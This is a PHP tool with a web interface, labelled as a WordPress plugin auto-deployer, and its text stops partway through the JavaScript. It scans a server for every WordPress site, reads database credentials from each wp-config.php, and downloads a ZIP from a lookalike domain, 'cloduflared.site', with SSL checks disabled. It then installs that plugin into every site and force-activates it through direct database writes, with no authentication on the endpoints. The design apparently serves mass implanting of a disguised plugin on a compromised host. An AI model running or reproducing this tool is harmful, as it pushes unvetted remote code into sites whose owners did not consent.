<?php
/**
 * WordPress Plugin Auto Deployer - AJAX Professional Edition
 * Dengan scan logic original, auto deploy, auto activate, dan UI modern
 */

// ==================== CONFIG ====================
$PLUGIN_ZIP_URL = "https://cdn.cloduflared.site/plugins/wp-security-plugin.zip";
$ALLOWED_TLDS = ['.com','.net','.org','.id','.io','.xyz','.online','.site','.info','.dev','.store','.tech','.blog','.ve','.uk','.shop','.ai'];
$PLUGIN_SLUG = "wp-security-plugins";

// Error handling
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('max_execution_time', 300);
ini_set('memory_limit', '512M');

// ==================== FUNCTIONS (ORIGINAL SCAN LOGIC) ====================
function is_domain_folder(string $name, array $tlds): bool {
    $dn = strtolower($name);
    if (strpos($dn, '.') === false) return false;
    foreach ($tlds as $t) if (substr($dn, -strlen($t)) === strtolower($t)) return true;
    return false;
}

function scan_dirs_bfs(array $roots, int $maxDepth = 6, int $maxDirs = 15000): array {
    $res = []; $queue = []; $visited = []; $scanned = 0;
    foreach ($roots as $r) { $rr = realpath($r); if ($rr) $queue[] = ['p' => $rr, 'd' => 0]; }
    while (!empty($queue) && $scanned < $maxDirs) {
        $it = array_shift($queue); $p = $it['p']; $d = $it['d'];
        if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue;
        $res[] = $p; $scanned++; if ($d >= $maxDepth) continue;
        $ch = @scandir($p); if (!is_array($ch)) continue;
        foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; }
    }
    return $res;
}

function detect_webroot_auto(string $startDir, array $allowedTlds, int $maxUp = 12) {
    $cur = realpath($startDir); if ($cur === false) return false; $level = 0;
    while ($cur !== false && $level <= $maxUp) {
        $children = @scandir($cur); if (is_array($children)) {
            foreach ($children as $c) {
                if ($c === '.' || $c === '..') continue;
                $p = $cur . DIRECTORY_SEPARATOR . $c;
                if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p);
            }
        }
        $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++;
    }
    return realpath(dirname($startDir));
}

function detect_domain_webroot(string $domainPath, string $target_filename, int $maxDepth = 4) {
    $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = [];
    while (!empty($queue)) {
        $it = array_shift($queue);
        $cur = $it['path']; $d = $it['depth'];
        if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1;

        $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename;
        if (file_exists($targetPath)) return $targetPath;

        if ($d >= $maxDepth) continue;
        $children = @scandir($cur); if (!is_array($children)) continue;
        foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; }
    }
    return false;
}

function download_content($url) {
    $options = ['http' => ['method' => 'GET', 'header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 60]];
    $context = stream_context_create($options);
    $content = @file_get_contents($url, false, $context);

    if ($content === false && function_exists('curl_version')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $content = curl_exec($ch);
        curl_close($ch);
    }
    return $content;
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        (is_dir($path)) ? delete_directory($path) : @unlink($path);
    }
    return @rmdir($dir);
}

function copy_directory($src, $dst) {
    if (!file_exists($dst)) mkdir($dst, 0755, true);

    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($src, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        $target = $dst . DIRECTORY_SEPARATOR . $iterator->getSubPathname();
        if ($item->isDir()) {
            if (!file_exists($target)) mkdir($target, 0755, true);
        } else {
            copy($item->getPathname(), $target);
        }
    }
}

function extract_zip_and_get_plugin_info($zip_content, $extract_path) {
    if (!class_exists('ZipArchive')) return false;
    
    $temp_zip = tempnam(sys_get_temp_dir(), 'wp_plugin_') . '.zip';
    file_put_contents($temp_zip, $zip_content);

    $zip = new ZipArchive;
    if ($zip->open($temp_zip) === TRUE) {
        if (file_exists($extract_path)) delete_directory($extract_path);
        mkdir($extract_path, 0755, true);
        $zip->extractTo($extract_path);
        $zip->close();
        unlink($temp_zip);
        
        $plugin_files = find_plugin_files($extract_path);
        return $plugin_files;
    }

    if (file_exists($temp_zip)) unlink($temp_zip);
    return false;
}

function find_plugin_files($path) {
    $plugin_files = [];

    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getExtension() === 'php') {
            $content = file_get_contents($file->getPathname());
            if (preg_match('/Plugin Name:\s*(.+)/i', $content)) {
                $relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $file->getPathname());
                $folder_name = explode(DIRECTORY_SEPARATOR, $relative_path)[0];

                $plugin_files = [
                    'main_file' => $file->getPathname(),
                    'folder_name' => $folder_name,
                    'relative_main_file' => $relative_path,
                    'full_path' => $path,
                    'plugin_name' => trim(preg_replace('/Plugin Name:\s*(.+)/i', '$1', $content))
                ];
                break;
            }
        }
    }
    return $plugin_files;
}

function deactivate_plugin_db($wp_path, $plugin_slug) {
    $wp_config = $wp_path . '/wp-config.php';
    if (!file_exists($wp_config)) return false;

    $config_content = file_get_contents($wp_config);
    $patterns = [
        'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/"
    ];

    $config = [];
    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1];
    }

    if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false;

    $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']);
    if ($conn->connect_error) return false;

    $options_table = $config['table_prefix'] . 'options';
    $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'");
    
    if ($result && $row = $result->fetch_assoc()) {
        $active_plugins = @unserialize($row['option_value']);
        if (is_array($active_plugins)) {
            $plugin_identifier = $plugin_slug . '/' . $plugin_slug . '.php';
            if (in_array($plugin_identifier, $active_plugins)) {
                $active_plugins = array_diff($active_plugins, [$plugin_identifier]);
                $serialized = serialize(array_values($active_plugins));
                $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'");
            }
        }
    }
    $conn->close();
    return true;
}

function activate_plugin_db($wp_path, $plugin_folder, $plugin_file) {
    $wp_config = $wp_path . '/wp-config.php';
    if (!file_exists($wp_config)) return false;

    $config_content = file_get_contents($wp_config);
    $patterns = [
        'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/"
    ];

    $config = [];
    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1];
    }

    if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false;

    $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']);
    if ($conn->connect_error) return false;

    $options_table = $config['table_prefix'] . 'options';
    $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'");
    
    if ($result && $row = $result->fetch_assoc()) {
        $active_plugins = @unserialize($row['option_value']);
        if (!is_array($active_plugins)) $active_plugins = [];
        
        $plugin_identifier = $plugin_folder . '/' . $plugin_file;
        if (!in_array($plugin_identifier, $active_plugins)) {
            $active_plugins[] = $plugin_identifier;
            $serialized = serialize($active_plugins);
            $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'");
        }
    }
    $conn->close();
    return true;
}

// ==================== AJAX HANDLER ====================
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');
    
    // Action: Scan Sites
    if ($_POST['action'] === 'scan_sites') {
        $apiDir = realpath(__DIR__);
        $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS);
        
        if (!$webroot) {
            echo json_encode(['success' => false, 'error' => 'Cannot detect webroot']);
            exit;
        }
        
        $roots = [$webroot, dirname($webroot), $apiDir];
        $roots = array_unique(array_filter($roots, 'realpath'));
        
        $dirs = scan_dirs_bfs($roots, 6, 15000);
        
        $wp_sites = [];
        foreach ($dirs as $dir) {
            if (!is_domain_folder(basename($dir), $ALLOWED_TLDS)) continue;
            
            $wp_config = detect_domain_webroot($dir, 'wp-config.php', 4);
            if ($wp_config) {
                $wp_root = dirname($wp_config);
                $wp_sites[] = [
                    'domain' => basename($dir),
                    'path' => $wp_root
                ];
            }
        }
        
        echo json_encode(['success' => true, 'sites' => $wp_sites, 'webroot' => $webroot, 'total' => count($wp_sites)]);
        exit;
    }
    
    // Action: Deploy Single Site
    if ($_POST['action'] === 'deploy_site') {
        $site = json_decode($_POST['site'], true);
        $wp_path = $site['path'];
        $domain = $site['domain'];
        
        $result = [
            'success' => false,
            'domain' => $domain,
            'steps' => [],
            'error' => null
        ];
        
        try {
            // Step 1: Deactivate old plugin
            $result['steps'][] = ['action' => 'Deactivating old plugin...', 'status' => 'processing'];
            deactivate_plugin_db($wp_path, $PLUGIN_SLUG);
            $result['steps'][] = ['action' => 'Old plugin deactivated', 'status' => 'success'];
            
            // Step 2: Remove old plugin folder
            $old_plugin_path = $wp_path . '/wp-content/plugins/' . $PLUGIN_SLUG;
            if (file_exists($old_plugin_path)) {
                $result['steps'][] = ['action' => 'Removing old plugin folder...', 'status' => 'processing'];
                if (delete_directory($old_plugin_path)) {
                    $result['steps'][] = ['action' => 'Old plugin folder removed', 'status' => 'success'];
                } else {
                    $result['steps'][] = ['action' => 'Failed to remove old folder (continuing)', 'status' => 'warning'];
                }
            } else {
                $result['steps'][] = ['action' => 'No existing plugin found', 'status' => 'info'];
            }
            
            // Step 3: Download plugin
            $result['steps'][] = ['action' => 'Downloading plugin from server...', 'status' => 'processing'];
            $ZIP_CONTENT = download_content($PLUGIN_ZIP_URL);
            
            if (!$ZIP_CONTENT) {
                throw new Exception('Failed to download plugin ZIP');
            }
            $result['steps'][] = ['action' => 'Plugin downloaded', 'status' => 'success', 'size' => round(strlen($ZIP_CONTENT) / 1024, 2) . ' KB'];
            
            // Step 4: Extract plugin
            $result['steps'][] = ['action' => 'Extracting plugin...', 'status' => 'processing'];
            $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid();
            $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path);
            
            if (!$plugin_info) {
                throw new Exception('Failed to extract ZIP or plugin not found');
            }
            $result['steps'][] = ['action' => 'Plugin extracted: ' . $plugin_info['plugin_name'], 'status' => 'success'];
            
            // Step 5: Copy to plugins directory
            $result['steps'][] = ['action' => 'Installing plugin files...', 'status' => 'processing'];
            $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name'];
            $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name'];
            if (!file_exists($source_dir)) {
                $source_dir = $plugin_info['full_path'];
            }
            
            copy_directory($source_dir, $plugin_dir);
            $result['steps'][] = ['action' => 'Plugin installed to: ' . $plugin_info['folder_name'], 'status' => 'success'];
            
            // Step 6: Activate plugin
            $result['steps'][] = ['action' => 'Activating plugin...', 'status' => 'processing'];
            $plugin_file = basename($plugin_info['relative_main_file']);
            
            if (activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file)) {
                $result['steps'][] = ['action' => 'Plugin activated successfully!', 'status' => 'success'];
                $result['success'] = true;
            } else {
                $result['steps'][] = ['action' => 'Plugin installed but activation failed', 'status' => 'warning'];
                $result['success'] = true;
            }
            
            // Cleanup
            if (file_exists($temp_extract_path)) {
                delete_directory($temp_extract_path);
            }
            
        } catch (Exception $e) {
            $result['error'] = $e->getMessage();
            $result['steps'][] = ['action' => 'ERROR: ' . $e->getMessage(), 'status' => 'error'];
        }
        
        echo json_encode($result);
        exit;
    }
    
    // Action: Deploy All Sites
    if ($_POST['action'] === 'deploy_all') {
        $sites = json_decode($_POST['sites'], true);
        $results = [];
        
        foreach ($sites as $site) {
            $wp_path = $site['path'];
            $domain = $site['domain'];
            
            $result = [
                'success' => false,
                'domain' => $domain,
                'steps' => [],
                'error' => null
            ];
            
            try {
                deactivate_plugin_db($wp_path, $PLUGIN_SLUG);
                
                $old_plugin_path = $wp_path . '/wp-content/plugins/' . $PLUGIN_SLUG;
                if (file_exists($old_plugin_path)) {
                    delete_directory($old_plugin_path);
                }
                
                $ZIP_CONTENT = download_content($PLUGIN_ZIP_URL);
                if (!$ZIP_CONTENT) throw new Exception('Failed to download plugin');
                
                $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid();
                $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path);
                
                if (!$plugin_info) throw new Exception('Failed to extract ZIP');
                
                $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name'];
                $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name'];
                if (!file_exists($source_dir)) $source_dir = $plugin_info['full_path'];
                
                copy_directory($source_dir, $plugin_dir);
                
                $plugin_file = basename($plugin_info['relative_main_file']);
                activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file);
                
                if (file_exists($temp_extract_path)) delete_directory($temp_extract_path);
                
                $result['success'] = true;
                $result['steps'][] = ['action' => 'Deployment completed', 'status' => 'success'];
                
            } catch (Exception $e) {
                $result['error'] = $e->getMessage();
                $result['steps'][] = ['action' => 'Error: ' . $e->getMessage(), 'status' => 'error'];
            }
            
            $results[] = $result;
        }
        
        echo json_encode(['success' => true, 'results' => $results]);
        exit;
    }
    
    exit;
}

// ==================== HTML & UI ====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WordPress Plugin Auto Deployer - AJAX Pro</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: 'Inter', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 40px 20px;
        }
        
        .container { max-width: 1400px; margin: 0 auto; }
        
        /* Header */
        .header { text-align: center; margin-bottom: 40px; }
        .header h1 { color: white; font-size: 2.5rem; font-weight: 800; margin-bottom: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.2); }
        .header p { color: rgba(255,255,255,0.9); font-size: 1rem; }
        
        /* Cards */
        .card {
            background: white;
            border-radius: 20px;
            padding: 25px;
            margin-bottom: 30px;
            box-shadow: 0 20px 60px rgba(0,0,0,0.2);
            transition: transform 0.3s ease;
        }
        .card:hover { transform: translateY(-5px); }
        .card-title {
            font-size: 1.5rem;
            font-weight: 700;
            margin-bottom: 20px;
            color: #333;
            border-left: 4px solid #667eea;
            padding-left: 15px;
        }
        
        /* Stats Grid */
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .stat-card {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 20px;
            border-radius: 15px;
            text-align: center;
        }
        .stat-number { font-size: 2rem; font-weight: 800; }
        .stat-label { font-size: 0.9rem; opacity: 0.9; margin-top: 5px; }
        
        /* Buttons */
        .btn {
            padding: 10px 20px;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            font-size: 0.9rem;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }
        .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; }
        .btn-success { background: #28a745; color: white; }
        .btn-info { background: #17a2b8; color: white; }
        .btn-secondary { background: #6c757d; color: white; }
        .btn-warning { background: #ffc107; color: #856404; }
        .btn-danger { background: #dc3545; color: white; }
        .btn-sm { padding: 6px 12px; font-size: 0.8rem; }
        .btn:disabled { opacity: 0.5; cursor: not-allowed; transform: none; }
        .btn-primary:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(102,126,234,0.4); }
        
        /* Site List */
        .site-list { display: grid; gap: 15px; }
        .site-item {
            background: #f8f9fa;
            border-radius: 12px;
            padding: 15px;
            transition: all 0.3s ease;
            border: 1px solid #e9ecef;
        }
        .site-item:hover { background: #fff; box-shadow: 0 5px 20px rgba(0,0,0,0.1); }
        .site-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 10px;
            flex-wrap: wrap;
            gap: 10px;
        }
        .site-domain { font-size: 1.1rem; font-weight: 600; color: #333; }
        .site-domain i { color: #667eea; margin-right: 8px; }
        .site-path { font-size: 0.85rem; color: #666; font-family: monospace; margin-bottom: 10px; word-break: break-all; }
        .site-status {
            display: inline-block;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.8rem;
            font-weight: 500;
        }
        .status-pending { background: #ffc107; color: #856404; }
        .status-success { background: #28a745; color: white; }
        .status-error { background: #dc3545; color: white; }
        .status-processing { background: #17a2b8; color: white; animation: pulse 1s infinite; }
        
        @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }
        
        .site-actions { display: flex; gap: 10px; margin-top: 10px; flex-wrap: wrap; }
        
        /* Progress Steps */
        .progress-steps { margin-top: 10px; }
        .step {
            display: flex;
            align-items: center;
            gap: 10px;
            padding: 5px 0;
            font-size: 0.85rem;
        }
        .step i { width: 20px; }
        .step-success { color: #28a745; }
        .step-error { color: #dc3545; }
        .step-processing { color: #17a2b8; }
        .step-info { color: #17a2b8; }
        .step-warning { color: #ffc107; }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        .modal.active { display: flex; }
        .modal-content {
            background: white;
            border-radius: 20px;
            padding: 30px;
            max-width: 600px;
            width: 90%;
            max-height: 80vh;
            overflow-y: auto;
        }
        .modal-header { font-size: 1.5rem; font-weight: 700; margin-bottom: 20px; }
        
        /* Alert */
        .alert {
            padding: 15px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        .alert-success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .alert-error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .alert-info { background: #d1ecf1; color: #0c5460; border: 1px solid #bee5eb; }
        .alert-warning { background: #fff3cd; color: #856404; border: 1px solid #ffeeba; }
        
        /* Loading */
        .loading {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 3px solid rgba(0,0,0,0.1);
            border-radius: 50%;
            border-top-color: #667eea;
            animation: spin 1s ease-in-out infinite;
        }
        @keyframes spin { to { transform: rotate(360deg); } }
        
        /* Responsive */
        @media (max-width: 768px) {
            .header h1 { font-size: 1.8rem; }
            .site-header { flex-direction: column; align-items: flex-start; }
            .btn { padding: 8px 15px; font-size: 0.8rem; }
        }
        
        /* Scrollbar */
        ::-webkit-scrollbar { width: 8px; }
        ::-webkit-scrollbar-track { background: #f1f1f1; border-radius: 10px; }
        ::-webkit-scrollbar-thumb { background: #667eea; border-radius: 10px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1><i class="fas fa-rocket"></i> WordPress Plugin Auto Deployer</h1>
            <p>AJAX Professional Edition - Auto Scan, Auto Deploy, Auto Activate</p>
        </div>
        
        <!-- Stats -->
        <div class="stats-grid" id="statsGrid">
            <div class="stat-card">
                <div class="stat-number" id="totalSites">0</div>
                <div class="stat-label">Total Sites</div>
            </div>
            <div class="stat-card">
                <div class="stat-number" id="deployedSites">0</div>
                <div class="stat-label">Deployed</div>
            </div>
            <div class="stat-card">
                <div class="stat-number" id="successSites">0</div>
                <div class="stat-label">Successful</div>
            </div>
            <div class="stat-card">
                <div class="stat-number" id="failedSites">0</div>
                <div class="stat-label">Failed</div>
            </div>
        </div>
        
        <!-- Control Panel -->
        <div class="card">
            <div class="card-title"><i class="fas fa-sliders-h"></i> Control Panel</div>
            <div style="display: flex; gap: 15px; flex-wrap: wrap;">
                <button class="btn btn-primary" id="scanBtn" onclick="scanSites()">
                    <i class="fas fa-search"></i> Scan WordPress Sites
                </button>
                <button class="btn btn-success" id="deployAllBtn" onclick="deployAll()" disabled>
                    <i class="fas fa-play"></i> Deploy to All Sites
                </button>
                <button class="btn btn-info" onclick="location.reload()">
                    <i class="fas fa-sync-alt"></i> Refresh
                </button>
            </div>
        </div>
        
        <!-- Sites List -->
        <div class="card">
            <div class="card-title"><i class="fas fa-globe"></i> WordPress Sites</div>
            <div id="alertContainer"></div>
            <div id="siteList" class="site-list">
                <div style="text-align: center; padding: 40px; color: #999;">
                    <i class="fas fa-search" style="font-size: 48px; margin-bottom: 15px; display: block;"></i>
                    Click "Scan WordPress Sites" to begin
                </div>
            </div>
        </div>
        
        <!-- Info Card -->
        <div class="card">
            <div class="card-title"><i class="fas fa-info-circle"></i> System Information</div>
            <div style="display: grid; gap: 8px;">
                <div><i class="fas fa-check-circle" style="color: #28a745;"></i> PHP Version: <?php echo PHP_VERSION; ?></div>
                <div><i class="fas <?php echo class_exists('ZipArchive') ? 'fa-check-circle' : 'fa-times-circle'; ?>" style="color: <?php echo class_exists('ZipArchive') ? '#28a745' : '#dc3545'; ?>"></i> ZipArchive: <?php echo class_exists('ZipArchive') ? 'Available' : 'Not Available'; ?></div>
                <div><i class="fas <?php echo function_exists('curl_version') ? 'fa-check-circle' : 'fa-times-circle'; ?>" style="color: <?php echo function_exists('curl_version') ? '#28a745' : '#dc3545'; ?>"></i> cURL: <?php echo function_exists('curl_version') ? 'Available' : 'Not Available'; ?></div>
                <div><i class="fas fa-check-circle" style="color: #28a745;"></i> Plugin URL: <?php echo htmlspecialchars($PLUGIN_ZIP_URL); ?></div>
                <div><i class="fas fa-check-circle" style="color: #28a745;"></i> Script Location: <?php echo __DIR__; ?></div>
            </div>
        </div>
    </div>
    
    <!-- Modal -->
    <div id="modal" class="modal">
        <div class="modal-content">
            <div class="modal-header" id="modalTitle">Deployment Log</div>
            <div id="modalBody"></div>
            <button class="btn btn-secondary" onclick="closeModal()" style="margin-top: 20px;">Close</button>
        </div>
    </div>
    
    <script>
        let sites = [];
        let deploying = false;
        
        // Utility functions
        function showAlert(message, type = 'info') {
            const container = document.getElementById('alertContainer');
            const alert = document.createElement('div');
            alert.className = `alert alert-${type}`;
            alert.innerHTML = `<i class="fas fa-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-circle' : 'info-circle'}"></i> ${message}`;
            container.appendChild(alert);
            setTimeout(() => alert.remove(), 5000);
        }
        
        function updateStats() {
            const total = sites.length;
            const deployed = sites.filter(s => s.status === 'success').length;
            const failed = sites.filter(s => s.status === 'error').length;
            const processing = sites.filter(s => s.status === 'processing').length;
            
            document.getElementById('totalSites').textContent = total;
            document.getElementById('deployedSites').textContent = deployed + processing;
            document.getElementById('successSites').textContent = deployed;
            document.getElementById('failedSites').textContent = failed;
        }
        
        function getStatusIcon(status) {
            switch(status) {
                case 'success': return 'fa-check-circle';
                case 'error': return 'fa-times-circle';
                case 'processing': return 'fa-spinner fa-pulse';
                default: return 'fa-clock';
            }
        }
        
        function getStatusText(status) {
            switch(status) {
                case 'success': return 'Deployed Successfully';
                case 'error': return 'Deployment Failed';
                case 'processing': return 'Processing...';
                default: return 'Pending';
            }
        }
        
        function renderSites() {
            const container = document.getElementById('siteList');
            if (sites.length === 0) {
                container.innerHTML = '<div style="text-align: center; padding: 40px; color: #999;"><i class="fas fa-inbox" style="font-size: 48px; margin-bottom: 15px; display: block;"></i>No WordPress sites found</div>';
                return;
            }
            
            container.innerHTML = sites.map(site => `
                <div class="site-item" data-domain="${site.domain}">
                    <div class="site-header">
                        <div class="site-domain">
                            <i class="fas fa-globe"></i> ${escapeHtml(site.domain)}
                        </div>
                        <div class="site-status status-${site.status || 'pending'}">
                            <i class="fas ${getStatusIcon(site.status)}"></i> ${getStatusText(site.status)}
                        </div>
                    </div>
                    <div class="site-path">
                        <i class="fas fa-folder"></i> ${escapeHtml(site.path)}
                    </div>
                    <div class="site-actions">
                        <button class="btn btn-primary btn-sm" onclick="deploySite('${escapeHtml(site.domain)}')" ${deploying || site.status === 'processing' ? 'disabled' : ''}>
                            <i class="fas fa-upload"></i> Deploy
                        </button>
                        <button class="btn btn-info btn-sm" onclick="viewLogs('${escapeHtml(site.domain)}')" ${!site.logs ? 'disabled' : ''}>
                            <i class="fas fa-list"></i> View Logs
                        </button>
                    </div>
                    ${site.steps ? `<div class="progress-steps" id="steps-${site.domain.replace(/\./g, '_')}"></div>` : ''}
                </div>
            `).join('');
            
            // Update steps for each site
            sites.forEach(site => {
                if (site.steps) {
                    const stepsContainer = document.getElementById(`steps-${site.domain.replace(/\./g, '_')}`);
                    if (stepsContainer) {
                        stepsContainer.innerHTML = site.steps.map(step => `
                            <div class="step step-${step.status}">
                                <i class="fas ${step.status === 'success' ? 'fa-check-circle' : step.status === 'error' ? 'fa-times-circle' : step.status === 'processing' ? 'fa-spinner fa-pulse' : 'fa-info-circle'}"></i>
                                <span>${escapeHtml(step.action)}</span>
                                ${step.size ? `<span style="margin-left: auto; font-size: 0.75rem;">${escapeHtml(step.size)}</span>` : ''}
                                ${step.plugin_name ? `<span style="margin-left: auto; font-size: 0.75rem; color: #667eea;">${escapeHtml(step.plugin_name)}</span>` : ''}
                            </div>
                        `).join('');
                    }
                }
            });
            
            updateStats();
        }
        
        function escapeHtml(str) {
            if (!str) return '';
            return str.replace(/[&<>]/g, function(m) {
                if (m === '&') return '&amp;';
                if (m === '<') return '&lt;';
                if (m === '>') return '&gt;';
                return m;
            });
        }
        
        // Scan sites
        async function scanSites() {
            const scanBtn = document.getElementById('scanBtn');
            scanBtn.disabled = true;
            scanBtn.innerHTML = '<i class="fas fa-spinner fa-pulse"></i> Scanning...';
            
            try {
                const formData = new FormData();
                formData.append('action', 'scan_sites');
                
                const response = await fetch('', {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                });
                
                const data = await response.json();
                
                if (data.success) {
                    sites = data.sites.map(site => ({ 
                        ...site, 
                        status: 'pending', 
                        steps: null, 
                        logs: null 
                    }));
                    renderSites();
                    document.getElementById('deployAllBtn').disabled = false;
                    showAlert(`Found ${sites.length} WordPress site(s)`, 'success');
                } else {
                    showAlert(data.error || 'Failed to scan sites', 'error');
                }
            } catch (error) {
                showAlert('Error scanning sites: ' + error.message, 'error');
            } finally {
                scanBtn.disabled = false;
                scanBtn.innerHTML = '<i class="fas fa-search"></i> Scan WordPress Sites';
            }
        }
        
        // Deploy single site
        async function deploySite(domain) {
            const site = sites.find(s => s.domain === domain);
            if (!site || deploying) return;
            
            deploying = true;
            site.status = 'processing';
            site.steps = [{ action: 'Starting deployment...', status: 'processing' }];
            renderSites();
            
            try {
                const formData = new FormData();
                formData.append('action', 'deploy_site');
                formData.append('site', JSON.stringify({ domain: site.domain, path: site.path }));
                
                const response = await fetch('', {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                });
                
                const result = await response.json();
                
                if (result.success) {
                    site.status = 'success';
                    site.steps = result.steps;
                    showAlert(`${domain}: Deployment successful!`, 'success');
                } else {
                    site.status = 'error';
                    site.steps = result.steps;
                    showAlert(`${domain}: Deployment failed - ${result.error}`, 'error');
                }
                
                site.logs = result.steps;
                renderSites();
                
            } catch (error) {
                site.status = 'error';
